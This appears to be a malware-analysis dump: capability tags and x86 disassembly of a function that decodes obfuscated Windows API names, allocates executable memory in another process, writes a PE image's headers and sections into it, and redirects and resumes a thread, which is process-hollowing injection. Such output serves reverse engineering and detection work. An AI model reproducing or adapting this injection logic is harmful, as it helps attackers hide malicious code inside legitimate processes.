Function at 0x4025c0
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60c
mov eax, dword [ebp + 8]
push eax
call fcn.00401ed0
add esp, 4
mov dword [ebp - 0x604], eax
mov ecx, dword [ebp - 0x604]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00401ef0
add esp, 8
mov dword [ebp - 0x18c], eax
mov eax, dword [ebp - 0x18c]
mov ecx, dword [eax + 0x34]
mov dword [ebp - 0x264], ecx
mov edx, dword [ebp - 0x18c]
mov eax, dword [edx + 0x28]
mov dword [ebp - 0x5fc], eax
push 0x2dd68ef8
push 0x9f58c8cc
push 0xb1a816c4
push 0x8982c4fc
push 0x1066d5c6
push 0x828558a
push 0xcf7ef930
push 0xbec2b5e6
push 0x3f60c8a
push 0x35a83a6
push 0x828558a
push 0xb1a816c4
push 0x74a1326
push 0xdb109d38
push 0x209c3482
push 0x409a9ab4
push 0x2dd68ef8
push 0x90009f1a
push 0x8982c4fc
push 0x25b2b496
push 0x15
lea ecx, [ebp - 0x188]
push ecx
call fcn.00401df0
add esp, 0x58
lea edx, [ebp - 0x188]
push edx
mov eax, dword [0x40dff0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x19c], eax
mov ecx, dword [ebp - 0x264]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call dword [ebp - 0x19c]
push str.VirtualAllocEx
mov eax, dword [0x40dfe8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x600], eax
push 0x40
push 0x3000
mov ecx, dword [ebp - 0x18c]
mov edx, dword [ecx + 0x50]
push edx
mov eax, dword [ebp - 0x264]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [ebp - 0x600]
push str.WriteProcessMemory
mov edx, dword [0x40dfe8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x198], eax
push 0
mov eax, dword [ebp - 0x18c]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x264]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [ebp - 0x198]
mov dword [ebp - 0x608], 0
jmp 0x40273e
mov edx, dword [ebp - 0x608]
add edx, 1
mov dword [ebp - 0x608], edx
mov eax, dword [ebp - 0x18c]
movzx ecx, word [eax + 6]
cmp dword [ebp - 0x608], ecx
jge 0x4027a9
mov edx, dword [ebp - 0x604]
mov eax, dword [edx + 0x3c]
mov ecx, dword [ebp + 8]
lea edx, [ecx + eax + 0xf8]
mov eax, dword [ebp - 0x608]
imul eax, eax, 0x28
add edx, eax
mov dword [ebp - 0x60c], edx
push 0
mov ecx, dword [ebp - 0x60c]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 0x60c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 0x60c]
mov eax, dword [ebp - 0x264]
add eax, dword [edx + 0xc]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call dword [ebp - 0x198]
jmp 0x40272f
mov dword [ebp - 0x5f8], 0x10002
push 0x8982c4fc
push 0x9fe070c2
push 0x828558a
push 0x8982c4fc
push 0x2dd68ef8
push 0x9f58c8cc
push 0x910e6a2
push 0x4aadbd8
push 0x209c3482
push 0x828558a
push 0x2010515a
push 0xe2c65f42
push 0x18e64246
push 0x8982c4fc
push 0x828558a
push 0xcf7ef930
push 0x10
lea edx, [ebp - 0xc8]
push edx
call fcn.00401df0
add esp, 0x48
lea eax, [ebp - 0xc8]
push eax
mov ecx, dword [0x40dfe8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x194], eax
push 0x8982c4fc
push 0x9fe070c2
push 0x828558a
push 0x8982c4fc
push 0x2dd68ef8
push 0x9f58c8cc
push 0x910e6a2
push 0x4aadbd8
push 0x209c3482
push 0x828558a
push 0x2010515a
push 0xe2c65f42
push 0x18e64246
push 0x8982c4fc
push 0x828558a
push 0xfe041ab2
push 0x10
lea edx, [ebp - 0x260]
push edx
call fcn.00401df0
add esp, 0x48
lea eax, [ebp - 0x260]
push eax
mov ecx, dword [0x40dfe8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x190], eax
push 0x4aadbd8
push 0x209c3482
push 0x828558a
push 0x2010515a
push 0xe2c65f42
push 0x18e64246
push 0x828558a
push 0x409a9ab4
push 0xd9b45e00
push 0x69f49ca4
push 0x828558a
push 0x25ac3970
push 0xc
lea edx, [ebp - 0x328]
push edx
call fcn.00401df0
add esp, 0x38
lea eax, [ebp - 0x328]
push eax
mov ecx, dword [0x40dfe8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
lea edx, [ebp - 0x5f8]
push edx
mov eax, dword [ebp + 0x10]
push eax
call dword [ebp - 0x190]
push 0
push 4
lea ecx, [ebp - 0x264]
push ecx
mov edx, dword [ebp - 0x554]
add edx, 8
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [ebp - 0x198]
mov ecx, dword [ebp - 0x264]
add ecx, dword [ebp - 0x5fc]
mov dword [ebp - 0x548], ecx
lea edx, [ebp - 0x5f8]
push edx
mov eax, dword [ebp + 0x10]
push eax
call dword [ebp - 0x194]
mov ecx, dword [ebp + 0x10]
push ecx
call dword [ebp - 4]
xor eax, eax
mov esp, ebp
pop ebp
ret 0x14